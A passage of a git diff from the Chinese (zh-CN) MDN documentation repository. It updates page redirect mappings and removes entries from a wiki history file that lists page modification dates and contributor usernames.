/zh-CN/docs/XTech_2005_Presentations:Mozilla_RDF_引擎指导 /zh-CN/docs/XTech_2005_Presentations/Directions_of_the_Mozilla_RDF_engine /zh-CN/docs/XTech_2005_Presentations:XUL_-_Mozilla's_XML_User_Interface_Language /zh-CN/docs/XTech_2005_Presentations/XUL_-_Mozilla's_XML_User_Interface_Language /zh-CN/docs/chrome_window_icons /zh-CN/docs/Window_icons /zh-CN/docs/d_temp /zh-CN/docs/Web/API/Document -/zh-CN/docs/data_URIs /zh-CN/docs/Web/HTTP/data_URIs +/zh-CN/docs/data_URIs /zh-CN/docs/Web/HTTP/Basics_of_HTTP/Data_URIs /zh-CN/docs/en /en-US/ /zh-CN/docs/keypress /zh-CN/docs/Web/API/Document/keypress_event +/zh-CN/docs/learn/Accessibility/CSS和JavaScript /zh-CN/docs/Learn/Accessibility/CSS_and_JavaScript +/zh-CN/docs/learn/Accessibility/HTML:为可访问性提供一个良好的基础 /zh-CN/docs/Learn/Accessibility/HTML /zh-CN/docs/learn/Accessibility/什么是可访问性 /zh-CN/docs/Learn/Accessibility/What_is_accessibility +/zh-CN/docs/learn/Accessibility/多媒体 /zh-CN/docs/Learn/Accessibility/Multimedia /zh-CN/docs/learn/GitHub /zh-CN/docs/Learn/Tools_and_testing/GitHub +/zh-CN/docs/learn/HTML/Forms_and_buttons /zh-CN/docs/orphaned/Learn/HTML/Forms_and_buttons /zh-CN/docs/learn/HTML/Introduction_to_HTML/创建超链接 /zh-CN/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks +/zh-CN/docs/learn/HTML/Introduction_to_HTML/文件和网站结构 /zh-CN/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure +/zh-CN/docs/learn/How_the_Internet_works /zh-CN/docs/Learn/Common_questions/How_does_the_Internet_work +/zh-CN/docs/learn/How_to_contribute /zh-CN/docs/orphaned/Learn/How_to_contribute /zh-CN/docs/learn/JavaScript/Building_blocks/事件 /zh-CN/docs/Learn/JavaScript/Building_blocks/Events +/zh-CN/docs/learn/JavaScript/Building_blocks/相片走廊 /zh-CN/docs/Learn/JavaScript/Building_blocks/Image_gallery +/zh-CN/docs/learn/JavaScript/异步 /zh-CN/docs/Learn/JavaScript/Asynchronous +/zh-CN/docs/learn/JavaScript/异步/Async_await /zh-CN/docs/Learn/JavaScript/Asynchronous/Async_await +/zh-CN/docs/learn/JavaScript/异步/Choosing_the_right_approach /zh-CN/docs/Learn/JavaScript/Asynchronous/Choosing_the_right_approach +/zh-CN/docs/learn/JavaScript/异步/Promises语法 /zh-CN/docs/Learn/JavaScript/Asynchronous/Promises +/zh-CN/docs/learn/JavaScript/异步/概念 /zh-CN/docs/Learn/JavaScript/Asynchronous/Concepts +/zh-CN/docs/learn/JavaScript/异步/简介 /zh-CN/docs/Learn/JavaScript/Asynchronous/Introducing +/zh-CN/docs/learn/JavaScript/异步/超时和间隔 /zh-CN/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals /zh-CN/docs/learn/Performance/CSS_performance /zh-CN/docs/Learn/Performance/CSS /zh-CN/docs/learn/Performance/dns-prefetch /zh-CN/docs/Web/Performance/dns-prefetch +/zh-CN/docs/learn/Performance/感知性能 /zh-CN/docs/Learn/Performance/perceived_performance +/zh-CN/docs/learn/Server-side/Django/主页构建 /zh-CN/docs/Learn/Server-side/Django/Home_page +/zh-CN/docs/learn/Server-side/Django/开发环境 /zh-CN/docs/Learn/Server-side/Django/development_environment +/zh-CN/docs/learn/Server-side/Django/管理站点 /zh-CN/docs/Learn/Server-side/Django/Admin_site /zh-CN/docs/learn/WebGL/By_example /zh-CN/docs/Web/API/WebGL_API/By_example /zh-CN/docs/learn/WebGL/By_example/Basic_scissoring /zh-CN/docs/Web/API/WebGL_API/By_example/Basic_scissoring /zh-CN/docs/learn/WebGL/By_example/Boilerplate_1 /zh-CN/docs/Web/API/WebGL_API/By_example/Boilerplate_1 @@ -2102,6 +2687,7 @@ /zh-CN/docs/learn/WebGL/By_example/Hello_GLSL /zh-CN/docs/Web/API/WebGL_API/By_example/Hello_GLSL /zh-CN/docs/learn/WebGL/By_example/Scissor_animation /zh-CN/docs/Web/API/WebGL_API/By_example/Scissor_animation /zh-CN/docs/learn/WebGL/By_example/Simple_color_animation /zh-CN/docs/Web/API/WebGL_API/By_example/Simple_color_animation +/zh-CN/docs/learn/Web_Mechanics /zh-CN/docs/conflicting/Learn/Common_questions /zh-CN/docs/learn/常见问题 /zh-CN/docs/Learn/Common_questions /zh-CN/docs/learn/常见问题/Thinking_before_coding /zh-CN/docs/Learn/Common_questions/Thinking_before_coding /zh-CN/docs/learn/常见问题/What_are_hyperlinks /zh-CN/docs/Learn/Common_questions/What_are_hyperlinks @@ -2110,8 +2696,9 @@ /zh-CN/docs/learn/常见问题/What_is_a_web_server /zh-CN/docs/Learn/Common_questions/What_is_a_web_server /zh-CN/docs/learn/常见问题/What_is_accessibility /zh-CN/docs/Learn/Common_questions/What_is_accessibility /zh-CN/docs/learn/常见问题/网页,网站,网页服务器和搜索引擎的区别是什么? /zh-CN/docs/Learn/Common_questions/Pages_sites_servers_and_search_engines -/zh-CN/docs/learn/探索浏览器开发者工具 /zh-CN/docs/Learn/Discover_browser_developer_tools -/zh-CN/docs/为Firefox_3升级扩展 /zh-CN/docs/Updating_extensions_for_Firefox_3 +/zh-CN/docs/learn/探索浏览器开发者工具 /zh-CN/docs/Learn/Common_questions/What_are_browser_developer_tools +/zh-CN/docs/为Firefox_3升级扩展 /zh-CN/docs/Mozilla/Firefox/Releases/3/Updating_extensions +/zh-CN/docs/使用Javascript和DOM_Interfaces来处理HTML /zh-CN/docs/Web/API/Document_Object_Model/Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces /zh-CN/docs/使用剪贴板 /zh-CN/docs/Using_the_Clipboard /zh-CN/docs/升级扩展支持多种Mozilla应用程序 /zh-CN/docs/Updating_an_extension_to_support_multiple_Mozilla_applications /zh-CN/docs/在Venkman中使用断点 /zh-CN/docs/Using_Breakpoints_in_Venkman @@ -2121,7 +2708,7 @@ /zh-CN/docs/怪异模式和标准模式 /zh-CN/docs/Web/HTML/Quirks_Mode_and_Standards_Mode /zh-CN/docs/扩展打包 /zh-CN/docs/Mozilla/add-ons/Extension_Packaging /zh-CN/docs/收集_In-Memory_数据源 /zh-CN/docs/Aggregating_the_In-Memory_Datasource -/zh-CN/docs/理解下划线 /zh-CN/docs/Understanding_Underlines +/zh-CN/docs/理解下划线 /zh-CN/docs/conflicting/Learn/CSS/Styling_text/Fundamentals /zh-CN/docs/网页代码移植:从_IE_到_Mozilla /zh-CN/docs/Migrate_apps_from_Internet_Explorer_to_Mozilla /zh-CN/docs/通过CVS获取源码 /zh-CN/docs/Mozilla/Developer_guide/Source_Code/CVS /zh-CN/docs/首页 /zh-CN/docs/Web diff --git a/files/zh-cn/_wikihistory.json b/files/zh-cn/_wikihistory.json index 54cedab2da..640813454b 100644 --- a/files/zh-cn/_wikihistory.json +++ b/files/zh-cn/_wikihistory.json @@ -1,70 +1,4 @@ { - "API/Pointer_Lock_API": { - "modified": "2020-07-02T02:40:37.086Z", - "contributors": [ - "brizer", - "fscholz", - "princetoad@gmail.com" - ] - }, - "CSS/float": { - "modified": "2020-11-29T04:21:18.185Z", - "contributors": [ - "Nyaasu", - "RainSlide", - "Murphy1024", - "Jack.Works", - "zhuangyin", - "tcatche", - "Ende93", - "xgqfrms-GitHub", - "Sarlaka", - "fscholz", - "Sebastianz", - "xiaodongzai", - "AlexChao", - "linmx0130", - "FredWe", - "teoli", - "ziyunfei" - ] - }, - "Chrome": { - "modified": "2019-03-23T23:52:52.388Z", - "contributors": [ - "ziyunfei", - "Jedichou", - "Freeopen" - ] - }, - "Controlling_DNS_prefetching": { - "modified": "2020-10-15T21:21:12.955Z", - "contributors": [ - "RainSlide", - "lsvih", - "zhuangyin", - "yyhaxx", - "RequireSun", - "yowangbin", - "markyun", - "Ende93", - "hucz08" - ] - }, - "DHTML": { - "modified": "2019-03-23T23:46:38.426Z", - "contributors": [ - "ziyunfei", - "Wind930" - ] - }, - "Example_2_-_Using_UL": { - "modified": "2019-03-18T20:44:28.267Z", - "contributors": [ - "RainSlide", - "blue0125" - ] - }, "Games": { "modified": "2019-09-21T02:47:40.270Z", "contributors": [ @@ -112,13 +46,6 @@ "noiron" ] }, - "Games/Introduction_to_HTML5_Game_Gevelopment_(summary)": { - "modified": "2019-01-17T01:15:39.320Z", - "contributors": [ - "wbamberg", - "xgqfrms-GitHub" - ] - }, "Games/Publishing_games": { "modified": "2019-01-17T00:50:49.182Z", "contributors": [ @@ -140,15 +67,6 @@ "chengweigao" ] }, - "Games/Publishing_games/游戏货币化": { - "modified": "2019-07-23T05:31:53.344Z", - "contributors": [ - "c03311", - "wbamberg", - "tannineo", - "chenXiaoZhui" - ] - }, "Games/Techniques": { "modified": "2020-01-16T08:22:10.237Z", "contributors": [ @@ -224,12 +142,6 @@ "wbamberg" ] }, - "Games/Techniques/Control_mechanisms/移动端触摸控制": { - "modified": "2019-03-18T21:13:06.265Z", - "contributors": [ - "fisho" - ] - }, "Games/Techniques/Controls_Gamepad_API": { "modified": "2019-03-18T21:38:23.713Z", "contributors": [ @@ -244,13 +156,6 @@ "dkocho4" ] }, - "Games/Tools/引擎和工具": { - "modified": "2019-03-23T22:12:27.616Z", - "contributors": [ - "wbamberg", - "ChenXiCC" - ] - }, "Games/Tutorials": { "modified": "2019-03-23T22:18:56.983Z", "contributors": [ @@ -342,18 +247,6 @@ "DHecarim" ] }, - "Games/Tutorials/2D_Breakout_game_pure_JavaScript/收尾工作": { - "modified": "2020-03-04T06:46:31.914Z", - "contributors": [ - "zmx0142857" - ] - }, - "Games/Tutorials/2D_Breakout_game_pure_JavaScript/鼠标控制": { - "modified": "2020-03-04T06:03:22.539Z", - "contributors": [ - "zmx0142857" - ] - }, "Games/Tutorials/2D_breakout_game_Phaser": { "modified": "2019-03-23T22:13:33.607Z", "contributors": [ @@ -484,21 +377,6 @@ "Javen" ] }, - "Games/简介": { - "modified": "2019-12-05T00:08:12.532Z", - "contributors": [ - "catcatching", - "wbamberg", - "codeofjackie", - "zsxeee", - "varcat", - "WMin", - "hansonfang", - "13310", - "magiclyde", - "fierayan" - ] - }, "Glossary": { "modified": "2020-10-07T11:15:25.314Z", "contributors": [ @@ -930,12 +808,6 @@ "HardcorePhysician" ] }, - "Glossary/DTD": { - "modified": "2019-03-23T22:20:01.642Z", - "contributors": [ - "eforegist" - ] - }, "Glossary/Data_structure": { "modified": "2019-03-18T21:30:43.505Z", "contributors": [ @@ -1328,14 +1200,6 @@ "Chor" ] }, - "Glossary/Header": { - "modified": "2020-02-12T09:54:25.924Z", - "contributors": [ - "RainSlide", - "zhangchen", - "WayneCui" - ] - }, "Glossary/Hoisting": { "modified": "2020-11-12T05:34:45.112Z", "contributors": [ @@ -1397,12 +1261,6 @@ "plusmultiply0" ] }, - "Glossary/IP地址": { - "modified": "2020-05-30T02:17:49.722Z", - "contributors": [ - "kagurakana" - ] - }, "Glossary/IRC": { "modified": "2020-01-22T01:15:44.275Z", "contributors": [ @@ -1857,13 +1715,6 @@ "greatofdream" ] }, - "Glossary/Serialize": { - "modified": "2019-03-23T22:07:45.475Z", - "contributors": [ - "Ende93", - "JohnZengshi" - ] - }, "Glossary/Server": { "modified": "2019-03-18T20:48:05.867Z", "contributors": [ @@ -2267,245 +2118,6 @@ "liguorain" ] }, - "Glossary/主轴": { - "modified": "2020-05-10T10:26:14.352Z", - "contributors": [ - "Isildur46" - ] - }, - "Glossary/交叉轴": { - "modified": "2020-06-09T04:50:28.922Z", - "contributors": [ - "lmx-Hexagram", - "Isildur46" - ] - }, - "Glossary/代理服务器": { - "modified": "2019-03-18T21:22:15.777Z", - "contributors": [ - "lcw0622" - ] - }, - "Glossary/优雅降级": { - "modified": "2020-02-12T11:01:35.540Z", - "contributors": [ - "RainSlide", - "biqing" - ] - }, - "Glossary/伪类": { - "modified": "2020-09-25T11:55:47.602Z", - "contributors": [ - "Ninglo" - ] - }, - "Glossary/元素": { - "modified": "2020-08-10T23:10:02.620Z", - "contributors": [ - "IdEvEbI", - "244462375", - "RainSlide", - "dsdog1997", - "HDUCC", - "jianbinfu", - "pluwen" - ] - }, - "Glossary/卡片分类法": { - "modified": "2019-11-09T07:01:56.698Z", - "contributors": [ - "Xugen-Ma" - ] - }, - "Glossary/地址路由参数域": { - "modified": "2019-03-18T20:31:46.228Z", - "contributors": [ - "huanghe2015" - ] - }, - "Glossary/域名": { - "modified": "2019-03-23T22:04:34.305Z", - "contributors": [ - "micblo" - ] - }, - "Glossary/基线": { - "modified": "2020-05-10T09:55:14.332Z", - "contributors": [ - "Isildur46" - ] - }, - "Glossary/字符编码": { - "modified": "2020-02-12T10:38:11.288Z", - "contributors": [ - "RainSlide", - "fish-inu" - ] - }, - "Glossary/幂等": { - "modified": "2020-06-05T03:53:12.558Z", - "contributors": [ - "bytetown", - "zhangchen", - "WayneCui" - ] - }, - "Glossary/异步": { - "modified": "2020-10-16T00:10:28.593Z", - "contributors": [ - "Neo42", - "fish-inu" - ] - }, - "Glossary/抽象编程": { - "modified": "2020-01-16T01:08:30.168Z", - "contributors": [ - "Kuichen" - ] - }, - "Glossary/数字证书": { - "modified": "2019-03-23T22:26:11.405Z", - "contributors": [ - "Atester" - ] - }, - "Glossary/数据库": { - "modified": "2020-11-25T09:15:57.640Z", - "contributors": [ - "ZH-S" - ] - }, - "Glossary/正常模式": { - "modified": "2019-03-18T21:11:47.868Z", - "contributors": [ - "serverLua", - "CapDuan" - ] - }, - "Glossary/浏览器": { - "modified": "2019-03-23T22:12:12.389Z", - "contributors": [ - "micblo", - "lavenderming" - ] - }, - "Glossary/渐进增强": { - "modified": "2019-03-18T20:54:47.653Z", - "contributors": [ - "biqing" - ] - }, - "Glossary/源": { - "modified": "2019-03-23T22:21:16.972Z", - "contributors": [ - "xgqfrms-GitHub" - ] - }, - "Glossary/禁止修改的消息首部": { - "modified": "2019-03-18T20:55:25.213Z", - "contributors": [ - "Opportunity", - "yuankunzhang", - "WayneCui" - ] - }, - "Glossary/空元素": { - "modified": "2020-05-27T05:46:24.967Z", - "contributors": [ - "changjingli", - "Ende93" - ] - }, - "Glossary/立即执行函数表达式": { - "modified": "2019-10-10T13:29:59.923Z", - "contributors": [ - "SAM.L", - "RainSlide", - "zhangchen", - "CapDuan", - "baooab", - "xgqfrms-GitHub", - "zachary05" - ] - }, - "Glossary/第一字节时间": { - "modified": "2020-08-17T07:40:42.498Z", - "contributors": [ - "Facefall" - ] - }, - "Glossary/简单头部": { - "modified": "2019-03-18T21:33:57.550Z", - "contributors": [ - "huangll" - ] - }, - "Glossary/算法": { - "modified": "2019-12-09T04:39:20.829Z", - "contributors": [ - "ran", - "huanghe2015" - ] - }, - "Glossary/类型转换": { - "modified": "2019-06-24T05:38:16.865Z", - "contributors": [ - "RainSlide", - "danielnanuk" - ] - }, - "Glossary/编译": { - "modified": "2019-03-18T21:35:31.612Z", - "contributors": [ - "ethanzway" - ] - }, - "Glossary/编译时间": { - "modified": "2019-03-18T21:35:17.139Z", - "contributors": [ - "ethanzway" - ] - }, - "Glossary/语义": { - "modified": "2020-02-12T10:16:15.832Z", - "contributors": [ - "RainSlide", - "秋色楓", - "acejerry", - "DaMber" - ] - }, - "Glossary/请求头": { - "modified": "2020-02-12T10:12:37.548Z", - "contributors": [ - "RainSlide", - "c1er", - "huangll" - ] - }, - "Glossary/通用首部": { - "modified": "2020-02-12T09:58:36.039Z", - "contributors": [ - "RainSlide", - "WayneCui" - ] - }, - "Glossary/面向对象编程": { - "modified": "2019-03-23T22:19:08.166Z", - "contributors": [ - "zhangchen", - "fan19900404" - ] - }, - "Glossary_of_translation": { - "modified": "2019-03-23T23:33:18.884Z", - "contributors": [ - "Terry.Qiao", - "xcffl", - "iwo", - "yfdyh000" - ] - }, "HTML_in_XMLHttpRequest": { "modified": "2019-03-24T00:17:24.579Z", "contributors": [ @@ -2735,20 +2347,6 @@ "CharCat" ] }, - "Learn/CSS/Building_blocks/处理_不同_方向的_文本": { - "modified": "2020-07-16T22:29:14.755Z", - "contributors": [ - "ChongyouXu", - "lucida959595", - "Young-Spark", - "ZouYj", - "dlnb526", - "SirnoChan", - "sliop", - "Orzst", - "kuhnpku" - ] - }, "Learn/CSS/CSS_layout": { "modified": "2020-08-06T11:35:54.083Z", "contributors": [ @@ -2936,44 +2534,6 @@ "SirnoChan" ] }, - "Learn/CSS/CSS_layout/传统的布局方法": { - "modified": "2020-07-16T22:27:16.084Z", - "contributors": [ - "SirnoChan", - "Hermedius", - "zxxzzzzz", - "agnoCJY" - ] - }, - "Learn/CSS/CSS_layout/定位": { - "modified": "2020-12-01T00:39:03.074Z", - "contributors": [ - "zisedelinghun", - "driftingdream", - "laizenan", - "parabolazz", - "LuoYun", - "TaoXuSheng", - "codeofjackie", - "fourml", - "summercn", - "allan_simon", - "yuyx91", - "lihaoyuan", - "xp44mm", - "yydzxz", - "ddtyjmyjm", - "Froggy", - "uestcNaldo", - "Eric.Wu", - "echoArray", - "xgqfrms-GitHub", - "Ende93", - "depressedX", - "siufooncheung", - "1986slayer" - ] - }, "Learn/CSS/First_steps": { "modified": "2020-07-16T22:27:41.508Z", "contributors": [ @@ -2988,21 +2548,6 @@ "kfk2454" ] }, - "Learn/CSS/First_steps/CSS如何运行": { - "modified": "2020-07-16T22:28:02.363Z", - "contributors": [ - "ChongyouXu", - "shizigood", - "dlnb526", - "SirnoChan", - "pacexy", - "kuhnpku", - "FrankYuanhao", - "0x79b9", - "SphinxKnight", - "xcxAscar" - ] - }, "Learn/CSS/First_steps/How_CSS_is_structured": { "modified": "2020-10-06T13:23:28.338Z", "contributors": [ @@ -3040,19 +2585,6 @@ "ArcherGrey" ] }, - "Learn/CSS/First_steps/开始": { - "modified": "2020-07-16T22:27:52.665Z", - "contributors": [ - "dlnb526", - "SirnoChan", - "byeyear", - "HHao", - "zyzxrj", - "fondxy", - "Amano-Aki", - "RUAN-ZX" - ] - }, "Learn/CSS/Howto": { "modified": "2020-07-16T22:25:44.300Z", "contributors": [ @@ -3062,127 +2594,6 @@ "githubxiaowen" ] }, - "Learn/CSS/Introduction_to_CSS/Fundamental_CSS_comprehension": { - "modified": "2020-10-09T04:34:43.547Z", - "contributors": [ - "benniks", - "blateyang", - "grape", - "LeoB-O", - "codeofjackie", - "allan_simon", - "phiwyc", - "yydzxz", - "ddtyjmyjm", - "nbhaohao" - ] - }, - "Learn/CSS/Styling_boxes/A_cool_looking_box": { - "modified": "2020-07-16T22:28:27.701Z", - "contributors": [ - "grape", - "Lohoyo", - "lihaoyuan" - ] - }, - "Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper": { - "modified": "2020-07-16T22:28:25.559Z", - "contributors": [ - "codeofjackie", - "ziyunfei", - "Yee", - "lihaoyuan" - ] - }, - "Learn/CSS/为文本添加样式": { - "modified": "2020-07-16T22:26:01.367Z", - "contributors": [ - "kohai", - "LJJ1996", - "allan_simon", - "zhuangyin", - "zhang-kai", - "ZhongyiChen" - ] - }, - "Learn/CSS/为文本添加样式/Fundamentals": { - "modified": "2020-07-16T22:26:10.120Z", - "contributors": [ - "AlephAlpha", - "Otaku-Glasses", - "grape", - "xiaoman", - "byeyear", - "Sinclair-Yuan", - "ssttii", - "tiange321", - "sixDregs", - "zhuzhangliang", - "liy010", - "codeofjackie", - "1862", - "maoyumaoxun", - "allan_simon", - "comehope", - "xp44mm", - "sputnikW", - "yydzxz", - "Froggy", - "nbhaohao" - ] - }, - "Learn/CSS/为文本添加样式/Styling_links": { - "modified": "2020-07-16T22:26:21.533Z", - "contributors": [ - "so2liu", - "SirnoChan", - "Map1en_", - "LeoB-O", - "dchaofei", - "codeofjackie", - "Fungzhe", - "allan_simon", - "xp44mm", - "sputnikW", - "nbhaohao" - ] - }, - "Learn/CSS/为文本添加样式/Styling_lists": { - "modified": "2020-07-16T22:26:15.817Z", - "contributors": [ - "rtxu", - "codeofjackie", - "allan_simon", - "xp44mm", - "Froggy", - "jingyiwang1209", - "Ende93", - "Barren", - "qw950027", - "dazyzsy" - ] - }, - "Learn/CSS/为文本添加样式/Typesetting_a_homepage": { - "modified": "2020-07-16T22:26:27.995Z", - "contributors": [ - "monkey-king", - "grape", - "Map1en_", - "codeofjackie", - "maplelinst" - ] - }, - "Learn/CSS/为文本添加样式/Web_字体": { - "modified": "2020-07-16T22:26:25.043Z", - "contributors": [ - "AlephAlpha", - "LeoB-O", - "zenghuiLee", - "admin1949", - "wheeljs", - "Froggy" - ] - }, "Learn/Common_questions": { "modified": "2020-07-16T22:35:28.142Z", "contributors": [ @@ -3363,24 +2774,6 @@ "Selence1988" ] }, - "Learn/Common_questions/实用文本编辑器": { - "modified": "2020-07-16T22:35:49.753Z", - "contributors": [ - "A-rise" - ] - }, - "Learn/Discover_browser_developer_tools": { - "modified": "2020-08-09T19:35:32.533Z", - "contributors": [ - "DarkStory", - "eelord", - "ziyouwa", - "Atractylodes", - "wth", - "ziyunfei", - "zhaoy875" - ] - }, "Learn/Getting_started_with_the_web": { "modified": "2020-09-24T11:26:23.243Z", "contributors": [ @@ -3614,238 +3007,6 @@ "ziyunfei" ] }, - "Learn/HTML/Forms": { - "modified": "2020-07-16T22:21:02.678Z", - "contributors": [ - "615lyw", - "Lohoyo", - "lihaoyuan", - "yydzxz", - "StarryForce", - "Froggy", - "chrisdavidmills", - "ziyunfei", - "JulieLee77", - "teoli", - "Jeremie" - ] - }, - "Learn/HTML/Forms/Advanced_styling_for_HTML_forms": { - "modified": "2020-07-16T22:21:36.744Z", - "contributors": [ - "rtxu", - "Daniel313", - "codeofjackie", - "yydzxz", - "tzigang" - ] - }, - "Learn/HTML/Forms/Data_form_validation": { - "modified": "2020-07-16T22:21:53.600Z", - "contributors": [ - "dlnb526", - "wavedanger", - "WoodCube", - "PYGC", - "liudadadayu", - "Amano_Sei", - "kazimics", - "codeofjackie", - "tinyhare", - "lihaoyuan", - "dondevi", - "littledust", - "crper", - "yydzxz", - "pantao", - "Froggy", - "xianshenglu", - "songbinghui", - "monsterooo", - "liu-xiao-cui", - "jileieli" - ] - }, - "Learn/HTML/Forms/HTML_forms_in_legacy_browsers": { - "modified": "2020-07-16T22:22:04.178Z", - "contributors": [ - "haoye999", - "lovedebug", - "jaiJia", - "littledust" - ] - }, - "Learn/HTML/Forms/How_to_build_custom_form_widgets": { - "modified": "2020-07-16T22:21:58.787Z", - "contributors": [ - "WoodCube", - "rtxu", - "feixiang5754", - "lonelywhisper", - "yasminyt", - "honey6", - "codeofjackie", - "tinyhare", - "yochii", - "uselessaddress", - "crper", - "yydzxz", - "zqyue", - "darkeggler", - "Froggy", - "chrisdavidmills", - "Sheppy", - "ziyunfei", - "helloguangxue" - ] - }, - "Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_1": { - "modified": "2020-07-16T22:21:59.182Z", - "contributors": [ - "Qos", - "549074491", - "codeofjackie" - ] - }, - "Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_2": { - "modified": "2020-07-16T22:21:59.542Z", - "contributors": [ - "shc0743", - "codeofjackie" - ] - }, - "Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_3": { - "modified": "2020-07-16T22:21:59.861Z", - "contributors": [ - "shc0743", - "codeofjackie" - ] - }, - "Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_4": { - "modified": "2020-07-16T22:22:00.186Z", - "contributors": [ - "shc0743", - "codeofjackie" - ] - }, - "Learn/HTML/Forms/How_to_structure_an_HTML_form": { - "modified": "2020-07-16T22:21:16.348Z", - "contributors": [ - "lucida959595", - "imba-tjd", - "naivexcited", - "WoodCube", - "Zhang-YanQi", - "liy010", - "web-xx", - "codeofjackie", - "lihaoyuan", - "yawei", - "zqyue", - "StarryForce", - "Froggy" - ] - }, - "Learn/HTML/Forms/Property_compatibility_table_for_form_widgets": { - "modified": "2020-07-16T22:21:44.843Z", - "contributors": [ - "codeofjackie", - "lovedebug" - ] - }, - "Learn/HTML/Forms/Sending_and_retrieving_form_data": { - "modified": "2020-07-16T22:21:29.690Z", - "contributors": [ - "rtxu", - "WoodCube", - "aliang2017", - "codeofjackie", - "yydzxz", - "Froggy", - "KngZhi", - "chrisdavidmills", - "juzhiyuan" - ] - }, - "Learn/HTML/Forms/Sending_forms_through_JavaScript": { - "modified": "2020-07-16T22:22:02.523Z", - "contributors": [ - "RainSlide", - "WoodCube", - "xing2000", - "Bayes", - "codeofjackie", - "littledust", - "yydzxz", - "Chenng", - "chrisdavidmills", - "ziyunfei", - "sanxingming", - "helloguangxue", - "teoli" - ] - }, - "Learn/HTML/Forms/Styling_HTML_forms": { - "modified": "2020-07-16T22:21:32.838Z", - "contributors": [ - "jiaodk", - "rtxu", - "coder-git", - "33YANG", - "Daniel313", - "codeofjackie", - "lovedebug", - "yydzxz", - "lucoo01" - ] - }, - "Learn/HTML/Forms/The_native_form_widgets": { - "modified": "2020-09-17T23:41:07.186Z", - "contributors": [ - "aaazz47", - "853419196", - "WoodCube", - "wsyconan", - "Drizzt-Yu", - "Kavelaa", - "coldicecn", - "Danielxiey", - "codeofjackie", - "Lohoyo", - "lihaoyuan", - "xp44mm", - "uselessaddress", - "littledust", - "yydzxz", - "ddtyjmyjm", - "StarryForce", - "Froggy" - ] - }, - "Learn/HTML/Forms/Your_first_HTML_form": { - "modified": "2020-08-16T03:03:38.716Z", - "contributors": [ - "NicholasZhan", - "WoodCube", - "ChairMao", - "haoye999", - "coldicecn", - "xiangluoming", - "hddhyq", - "Lohoyo", - "maoyumaoxun", - "lyncodes", - "allan_simon", - "lihaoyuan", - "superkuang", - "ddtyjmyjm", - "StarryForce", - "Froggy", - "chrisdavidmills", - "ziyunfei", - "sanxingming" - ] - }, "Learn/HTML/Introduction_to_HTML/Creating_hyperlinks": { "modified": "2020-12-06T07:20:56.145Z", "contributors": [ @@ -4005,29 +3166,6 @@ "badwomanIloveyou" ] }, - "Learn/HTML/Multimedia_and_embedding/其他嵌入技术": { - "modified": "2020-09-22T04:49:55.434Z", - "contributors": [ - "NellPoi", - "yangko", - "pacexy", - "monkey-king", - "WoodCube", - "Roy-Tian", - "ChairMao", - "ZhangDaZongWei", - "Danielxiey", - "615lyw", - "CaTmmao", - "Lohoyo", - "RevolverOcelotA", - "lihaoyuan", - "superkuang", - "yydzxz", - "ddtyjmyjm", - "Eric.Wu" - ] - }, "Learn/HTML/Tables": { "modified": "2020-07-16T22:25:16.499Z", "contributors": [ @@ -4610,22 +3748,6 @@ "WavinFlag" ] }, - "Learn/JavaScript/Objects/向“弹跳球”演示程序添加新功能": { - "modified": "2020-07-16T22:32:36.563Z", - "contributors": [ - "Wenke-D", - "Roy-Tian", - "gofly1988", - "lihaoyuan", - "bluekeroro" - ] - }, - "Learn/JavaScript/Objects/测试你的技能:面向对象的Javascript": { - "modified": "2020-08-05T11:02:17.810Z", - "contributors": [ - "driftingdream" - ] - }, "Learn/Performance/CSS": { "modified": "2020-07-16T22:40:41.520Z", "contributors": [ @@ -4726,14 +3848,6 @@ "ygxwdls" ] }, - "Learn/Tools_and_testing/Client-side_JavaScript_frameworks/介绍": { - "modified": "2020-11-19T04:46:02.957Z", - "contributors": [ - "514059172", - "You2er", - "risejl" - ] - }, "Learn/Tools_and_testing/Cross_browser_testing": { "modified": "2020-07-16T22:39:02.261Z", "contributors": [ @@ -4794,21 +3908,6 @@ "liminjun" ] }, - "Learn/Tools_and_testing/Cross_browser_testing/可访问性": { - "modified": "2020-07-16T22:39:17.935Z", - "contributors": [ - "freejack811", - "Sc0tt" - ] - }, - "Learn/Tools_and_testing/Cross_browser_testing/测试策略": { - "modified": "2020-07-16T22:39:08.099Z", - "contributors": [ - "wangfangping", - "YaoLIII", - "ty4z2008" - ] - }, "Learn/Tools_and_testing/GitHub": { "modified": "2020-08-17T07:24:09.907Z", "contributors": [ @@ -4835,30 +3934,6 @@ "YLX621" ] }, - "Learn/tutorial": { - "modified": "2020-07-16T22:33:40.955Z", - "contributors": [ - "Andrew_Pfeiffer" - ] - }, - "Learn/tutorial/How_to_build_a_web_site": { - "modified": "2020-07-16T22:33:41.521Z", - "contributors": [ - "LX" - ] - }, - "Localization": { - "modified": "2019-03-23T23:33:42.693Z", - "contributors": [ - "xcffl" - ] - }, - "MDC:怎样进行帮助": { - "modified": "2019-01-16T16:56:07.625Z", - "contributors": [ - "ygtyugh" - ] - }, "MDN": { "modified": "2020-02-19T17:55:29.065Z", "contributors": [ @@ -4902,67 +3977,6 @@ "lunix01" ] }, - "MDN/Community": { - "modified": "2020-04-03T05:16:15.416Z", - "contributors": [ - "SphinxKnight", - "shiguang", - "wbamberg", - "Planet6174", - "Forbidden", - "ZQH", - "suwenbin", - "maksyuki", - "Ende93", - "shuding", - "yun174long", - "IBuly", - "civilian", - "MofeLee", - "ziyunfei", - "Fiag" - ] - }, - "MDN/Community/Conversations": { - "modified": "2020-04-08T04:56:55.004Z", - "contributors": [ - "SirnoChan", - "ewfian", - "Chor", - "wbamberg", - "chaosdog", - "jswisher", - "tanyan2004", - "githubzh123" - ] - }, - "MDN/Community/Doc_sprints": { - "modified": "2019-03-18T20:44:27.614Z", - "contributors": [ - "RainSlide", - "wbamberg", - "ElliottZheng", - "varcat" - ] - }, - "MDN/Community/Whats_happening": { - "modified": "2020-07-16T22:45:19.757Z", - "contributors": [ - "brizer", - "wbamberg", - "IannaZhou", - "fanyj1994", - "1986slayer" - ] - }, - "MDN/Community/在社区工作": { - "modified": "2020-02-19T18:49:08.850Z", - "contributors": [ - "jswisher", - "wbamberg", - "huangzijian888" - ] - }, "MDN/Contribute": { "modified": 